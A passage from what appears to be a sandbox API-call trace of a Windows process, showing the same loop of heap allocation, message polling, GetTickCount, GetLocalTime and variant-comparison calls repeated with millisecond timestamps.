(HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.819] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.819] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.819] CoFreeUnusedLibraries () [0180.819] GetTickCount () returned 0x115ddd2 [0180.819] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.819] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.819] CoFreeUnusedLibraries () [0180.819] GetTickCount () returned 0x115ddd2 [0180.819] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.820] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.820] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.820] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.820] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.820] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.820] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.820] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.820] CoFreeUnusedLibraries () [0180.820] GetTickCount () returned 0x115ddd2 [0180.820] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.820] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.820] CoFreeUnusedLibraries () [0180.820] GetTickCount () returned 0x115ddd2 [0180.820] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.821] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.821] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.821] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.821] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.821] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.821] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.821] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.821] CoFreeUnusedLibraries () [0180.821] GetTickCount () returned 0x115ddd2 [0180.821] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.821] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.821] CoFreeUnusedLibraries () [0180.821] GetTickCount () returned 0x115ddd2 [0180.821] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.822] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.822] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.822] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.822] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.822] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.822] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.822] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.822] CoFreeUnusedLibraries () [0180.822] GetTickCount () returned 0x115ddd2 [0180.822] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.822] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.822] CoFreeUnusedLibraries () [0180.822] GetTickCount () returned 0x115ddd2 [0180.823] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.823] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.823] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.823] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.823] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.823] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.823] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.823] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.823] CoFreeUnusedLibraries () [0180.823] GetTickCount () returned 0x115ddd2 [0180.823] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.823] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.823] CoFreeUnusedLibraries () [0180.823] GetTickCount () returned 0x115ddd2 [0180.824] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.824] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.824] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.824] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.824] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.824] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.824] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.824] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.824] CoFreeUnusedLibraries () [0180.824] GetTickCount () returned 0x115ddd2 [0180.824] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.824] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.825] CoFreeUnusedLibraries () [0180.825] GetTickCount () returned 0x115ddd2 [0180.825] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.825] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.825] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.825] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.825] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.825] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.825] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.825] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.825] CoFreeUnusedLibraries () [0180.825] GetTickCount () returned 0x115ddd2 [0180.825] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.826] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.826] CoFreeUnusedLibraries () [0180.826] GetTickCount () returned 0x115ddd2 [0180.826] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.826] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.826] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.826] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.826] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.826] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.826] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.826] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.826] CoFreeUnusedLibraries () [0180.826] GetTickCount () returned 0x115ddd2 [0180.826] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.827] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.827] CoFreeUnusedLibraries () [0180.827] GetTickCount () returned 0x115ddd2 [0180.827] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.827] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.827] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.827] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.827] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.827] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.827] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.827] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.827] CoFreeUnusedLibraries () [0180.828] GetTickCount () returned 0x115ddd2 [0180.828] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.828] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.828] CoFreeUnusedLibraries () [0180.828] GetTickCount () returned 0x115ddd2 [0180.828] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.828] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.828] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.828] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.828] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.829] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.829] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.829] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.829] CoFreeUnusedLibraries () [0180.829] GetTickCount () returned 0x115dde1 [0180.829] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.829] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.829] CoFreeUnusedLibraries () [0180.829] GetTickCount () returned 0x115dde1 [0180.829] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2ae)) [0180.829] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.829] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.829] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.829] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.830] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.830] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.830] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.830] CoFreeUnusedLibraries () [0180.830] GetTickCount () returned 0x115dde1 [0180.830] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.830] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.830] CoFreeUnusedLibraries () [0180.830] GetTickCount () returned 0x115dde1 [0180.830] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2ae)) [0180.830] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.830] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.830] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.830] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.831] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.831] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.831] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.831] CoFreeUnusedLibraries () [0180.831] GetTickCount () returned 0x115dde1 [0180.831] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.831] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.831] CoFreeUnusedLibraries () [0180.831] GetTickCount () returned 0x115dde1 [0180.831] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2ae)) [0180.831] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.831] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.831] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.831] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.831] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.832] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.832] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.832] CoFreeUnusedLibraries () [0180.832] GetTickCount () returned 0x115dde1 [0180.832] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.832] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.832] CoFreeUnusedLibraries () [0180.832] GetTickCount () returned 0x115dde1 [0180.832] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2ae)) [0180.832] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.832] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.832] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.832] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.832] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.832] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.833] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.833] CoFreeUnusedLibraries () [0180.833] GetTickCount () returned 0x115dde1 [0180.833] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.833] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.833] CoFreeUnusedLibraries () [0180.833] GetTickCount () returned 0x115dde1 [0180.833] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2ae)) [0180.833] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.833] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.833] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.833] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.833] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.833] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.833] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.834] CoFreeUnusedLibraries () [0180.834] GetTickCount () returned 0x115dde1 [0180.834] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.834] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.834] CoFreeUnusedLibraries () [0180.834] GetTickCount () returned 0x115dde1 [0180.834] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2ae)) [0180.834] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.834] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.834] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.834] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.834] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.835] CoFreeUnusedLibraries () [0180.835] GetTickCount () returned 0x115dde1 [0180.835] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.835] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.835] CoFreeUnusedLibraries () [0180.835] GetTickCount () returned 0x115dde1 [0180.835] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2ae)) [0180.835] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.835] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.835] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.835] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.835] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.835] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.835] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.835] CoFreeUnusedLibraries () [0180.835] GetTickCount () returned 0x115dde1 [0180.836] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.836] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.836] CoFreeUnusedLibraries () [0180.836] GetTickCount () returned 0x115dde1 [0180.836] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, 